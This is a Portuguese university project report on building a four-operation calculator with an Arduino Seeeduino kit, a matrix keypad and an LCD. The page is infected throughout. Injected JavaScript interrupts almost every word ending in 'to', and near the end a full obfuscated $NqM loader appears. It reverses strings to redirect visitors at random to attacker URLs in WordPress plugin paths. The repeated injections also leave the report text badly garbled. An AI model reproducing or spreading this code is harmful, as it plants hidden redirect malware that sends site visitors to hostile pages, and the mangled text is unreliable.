Calculadora

Pojetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de uma Calculadora com as quatro operações básicas (soma, divisão, subtraçãoe multiplicação).

VÍDEO:

CONTEÚDO:
Pontifícia Universidade Católica do Paraná – PUCPR
Centro de Ciências Exatas e Tecnologia – CCET
 
 
 
 
Calculadora
 
 

 
 
Curitiba
Junho/2010
Eduardo Sachwek Fontanetti
Leandro Claudino
Roan Saturnino Marques
 
 
 

 
 
Calculadora
 
Projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apresentado como requisitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to parcial para avaliação do Programa de Aprendizagem em Microprocessadores I, do Curso de Engenharia de Computação da Pontifícia Universidade Católica do Paraná, sob a Orientação do professor Afonso Ferreira Miguel.
 

 
Curitiba
Junho/2010
RESUMO
 
O projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Calculadora, referente ao quintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to período do curso de Engenharia de Computação da Pontifícia Universidade Católica do Paraná, propõe o desenvolvimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de uma calculadora simples. As calculadoras digitais são uma constante no cotidiano do homem moderno, porém mesmo se propondo a atingir objetivos tão modestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos e triviais uma calculadora digital emprega uma complexa gama de dispositivos e conexões quando observada a nível de projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to digital. O presente trabalho visa explanar sobre o projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de desenvolvimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de um dispositivo capaz de realizar as quatro operações matemáticas básicas (soma, subtração, multiplicação e divisão), a partir de componentes eletrônicos simples.
 
 
Palavras-chave: calculadora, dispositivo, operações.
 
 

Sumário
 
1 – Introdução……………………………………………………………………………………….6
2 – Objetivos…………………………………………………………………………………………7
           2.1 – Geral…………………………………………………………………………………7
           2.2 – Específico………………………………………………………………………….7
3 – Materiais Utilizados…………………………………………………………………………8
4 – Descrição Geral………………………………………………………………………………9
           4.1 – História do Projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to………………………………………………………………9
            4.2 – Módulos……………………………………………………………………………10
           4.3 – Hardware………………………………………………………………………….11
            4.4 – Operações………………………………………………………………………..15
5 – Problemas Apresentados………………………………………………………………..17
6 – Tabela de Custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos…………………………………………………………………………..18
8 – Conclusão…………………………………………………………………………………….18
9 – Referências…………………………………………………………………………………..20
 

 
 
 

Introdução

No mercado já existem calculadoras muitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mais completas e aperfeiçoadas do que a que apresentaremos nesse trabalho.
Neste projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de calculadora digital evidência-se três módulos principais, dois destes fazem a interface com o usuário, que são o teclado e o display digital, o terceiro e mais complexo é o responsável pela execução das funções da calculadora. Que são eles: display, teclado, execução das operações.
O teclado capta a entrada do valor digitado, envia ao módulo de execução das operações (que nesse caso é compostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do Kit Arduíno Seeeduíno), realiza o processamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to da informação e envia ao display.
                           
  

Objetivos

 
2.1.         – GERAL:
 
Com base nos programas de aprendizagem em Microprocessadores I e Eletrônica I, construir um projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to que utilize e integre essas disciplinas e realize as quatro operações básicas de uma calculadora.
 
2.2.         – ESPECÍFICOS
 
1.    Estudar e testar o Kit Arduíno Seeduino.
                                                                                               
2.    Estudar e testar o teclado matricial;
 
3.    Estudar e testar o display digital;
 
4.    Produzir o programa para o funcionamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;
 
5.    Interligar os módulos entre si: Módulo Display, Módulo Teclado e Módulo execução das operações;
 
6.    Confeccionar uma “caixa” para a simulação/montagem da calculadora;
 
7.    Realizar as quatro operações básicas: adição, subtração, multiplicação e divisão;
 
8.    CD do projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to com fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, vídeos, documentação.
 
 

3.     MATERIAIS UTILIZADOS
 
 
Ø  1 Placa de fenolite;
Ø  1 Kit Arduino Seeeduino;
Ø  1 Teclado Matricial;
Ø  1 Display Digital;
Ø  1 Caixa (p/ confecção do protótipo);
 
 

 
 

DESCRIÇÃO GERAL

 
4.1.        HISTÓRIA DO PROJETO
A idéia surgiu no intuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de abranger dois tópicos que a equipe julgou no desenvolvimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ser mais importantes. O primeiro seria o fácil desenvolvimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to e o segundo a abrangência de varias disciplinas do curso (Microprocessadores, Eletrônica, bem como disciplinas estudadas em anos anteriores como: Circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos Elétricos, TAP – Técnicas Avançadas de Programação e Sistemas Digitais), o qual nos dá a possibilidade de aprendizagem em várias áreas.
Partindo do pontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de vista comercial, o projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to não nos dá nenhuma condição de investir nesse sentido, pois, como já foi ditoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, no mercado já existem calculadoras muitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mais completas e aperfeiçoadas do que a apresentada, sendo assim, o projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fica restritoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ao mero uso acadêmico. Alem disso, o custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to para fabricação também é consideravelmente maior no projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
 
 
 

4.2.        MÓDULOS
 
 
A Calculadora será composta de três módulos: Display, Teclado e Execução das operações. Serão desenvolvidos sequencialmente, conforme mostrado no organograma abaixo:
 

 
 
Módulo Teclado: Este módulo é compostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to por um teclado matricial de doze teclas (4×3) que é ligado diretamente no Módulo Execução das Operações. Sendo dessa forma possível captar a entrada do usuário e executar essa entrada.
Módulo Display: é compostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de um display LCD (16×2) que recebe a informação executada no Módulo Execução das Operações e a exibe.
Módulo Execução das Operações: é módulo onde são executadas as informações de entrada, as operações e as saídas. Esse módulo é compostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de um Kit Seeeduino: computador físico baseado numa simples plataforma de hardware livre, projetada com um microcontrolador de placa única, com suporte de entrada/saída embutido e uma linguagem de programação padrão, na qual tem origem em Wiring, e é essencialmente C/C++. O objetivo do projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to (seeeduino) é criar ferramentas que são acessíveis, com baixo custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, flexíveis e fáceis de usar. Além disso, uma típica placa Arduino (similar ao seeeduino) é composta por um controlador, algumas linhas de E/S digital e analógica, além de uma interface serial ou USB, para interligar-se ao hospedeiro, que é usado para programar e interagir em tempo real.
 
4.3.         HARDWARE
 
            Módulo Teclado: Um teclado realiza suas funções mediante um microcontrolador. Estes microcontroladores têm um programa instalado para seu funcionamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, estes mesmos programas são executados e realizam a exploração matricial das teclas quando se pressiona alguma, e assim determinar qual estão pressionadas.
  
 

            Módulo Display: Um display de cristal líquido (LCD) (em inglês liquid crystal display) é um painel fino, usado para exibir informações por via eletrônica, como textoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, imagens e vídeos. Um LCD consiste de um líquido polarizador da luz, eletricamente controlado, que se encontra comprimido dentro de celas entre duas lâminas transparentes polarizadoras. Os eixos polarizadores das duas lâminas estão alinhados perpendicularmente entre si. Cada cela é provida de contatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos elétricos que permitem que um campo elétrico possa ser aplicado ao líquido no interior.
 
Módulo Execução das Operações: compostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pelo Kit Seeeduino: Sua placa consiste em um microcontrolador Atmel AVR de 8 bits, com componentes complementares para facilitar a programação e incorporação para outros circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos. Um importante aspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to é a maneira padrão que os conectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores são expostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, permitindo o CPU ser interligado a outros módulos expansivos, conhecidos como shields. Os Arduinos originais utilizam a série de chips megaAVR, especialmente os ATmega8, ATmega168, ATmega328 e a ATmega1280; porém muitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos outros processadores foram utilizados por clones deles.
 
 
 
4.4.        Operações

 
Para efetuar as operações será usada a notação polonesa. Ela é uma forma de notação para lógica, aritmética e álgebra. Não precisa de parênteses ou outros delimitadores para indicar os cálculos que devem ser realizados primeiramente, mas mesmo assim não há ambiguidade quantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to à ordem de resolução. Os operadores devem preceder os dois valores numéricos associados.
Como os valores devem preceder os operadores, a notação polonesa de soma é:

 
Enquantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a notação convencional (infixa) é:
 

  
 

4.6.        Fonte
A fonte é ligada a 120V AC, e tem como saída uma tensão que pode ser ajustada e varia entre 1.1V e 34V.

Componentes usados na fonte:

Nome

Quantidade

Descrição

C1

1

Capacitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Eletrolítico 10000uf  40 VDC

C2

1

Capacitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Eletrolítico 100uF 50 VDC

C3

1

Capacitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor 0.1uF

C4

1

Capacitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor 0.01uF

R1

1

Potenciômetro 5K

R2

1

Resistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor de 240 Ohm 1/4 W

U1

1

Regulador de Voltagem LM338K 1.1 à 30V, 2A

BR1

1

Ponte Retificadora 4A, 50V

T1

1

Transformador 24V, 2A

S1

1

Interruptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor 120V, 2A

 

5.      Problemas Apresentados
 
 

PROBLEMAS APRESENTADOS

SOLUÇÕES ENCONTRADAS

1º problema: Mal contatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dos conectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores do display.

Solução para o 1º problema: foi resolvido utilizando conectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores Mini Hatch: Resolvido ligando em série com outros pinos do teclado

2º problema: Teclado “repicando”.

Solução para o 2º problema: foi resolvido através de algoritmo para validar a entrada de dados do teclado

3º problema: Tecla “*” do teclado separada da matriz do teclado.

Solução para o 3º problema: Display com contraste muitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to altoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to: Resolvido utilizando um resistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor de 4k7 no pino de contraste.

 
 

6.      Tabela de Custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos
 
 

Objetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos

Observações

Preço

Seeeduino

Kit

80 reais

Display

LCD

16 reais

Teclado

Matricial

9 reais

Caixa

 

7 reais

Custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total do projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

112 reais

  
7 – Conclusão
 
Pode-se concluir que é possível desenvolver um projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to simples, de uma calculadora, mas que induz a uma aprendizagem em várias áreas do curso.
A idéia inicial, de desenvolver um projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to com três módulos interligados entre si foi executada, sendo que cada função de cada sistema, no início apresentada, foram concretizadas no projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
O projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ajudou quantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ao aprendizado dos programas de aprendizagem envolvidos e trouxe mais conhecimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos aos integrantes.
 
8 – REFERÊNCIAS
·         LCD. Disponível através da URL:
      http://pt.wikipedia.org/wiki/LCD. Acessada em 10/06/2010;
·         Arduino. Disponível através da URL:
     http://pt.wikipedia.org/wiki/Arduino. Acessada em 10/06/2010;
·         Teclado. Disponível através da URL:
     http://pt.wikipedia.org/wiki/Teclado. Acessada em 10/06/2010;

MATERIAIS:
Ø  1 Placa de fenolite;
Ø  1 Kit Arduino Seeeduino;
Ø  1 Teclado Matricial;
Ø  1 Display Digital;
Ø  1 Caixa (p/ confecção do protótipo);

CONCLUSÃO:
Pode-se concluir que é possível desenvolver um projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to simples, de uma calculadora, mas que induz a uma aprendizagem em várias áreas do curso.
A idéia inicial, de desenvolver um projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to com três módulos interligados entre si foi executada, sendo que cada função de cada sistema, no início apresentada, foram concretizadas no projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
O projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ajudou quantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ao aprendizado dos programas de aprendizagem envolvidos e trouxe mais conhecimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos aos integrantes.

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores>AUTORES:
– Leandro claudino
– Eduardo S. Fontanetti
– Roan S. Marques

CONTATO:
– leandro_claudino.lc@hotmail.com
– le.engcomp@gmail.com

DOCUMENTAÇÃO:
documentacao.pdf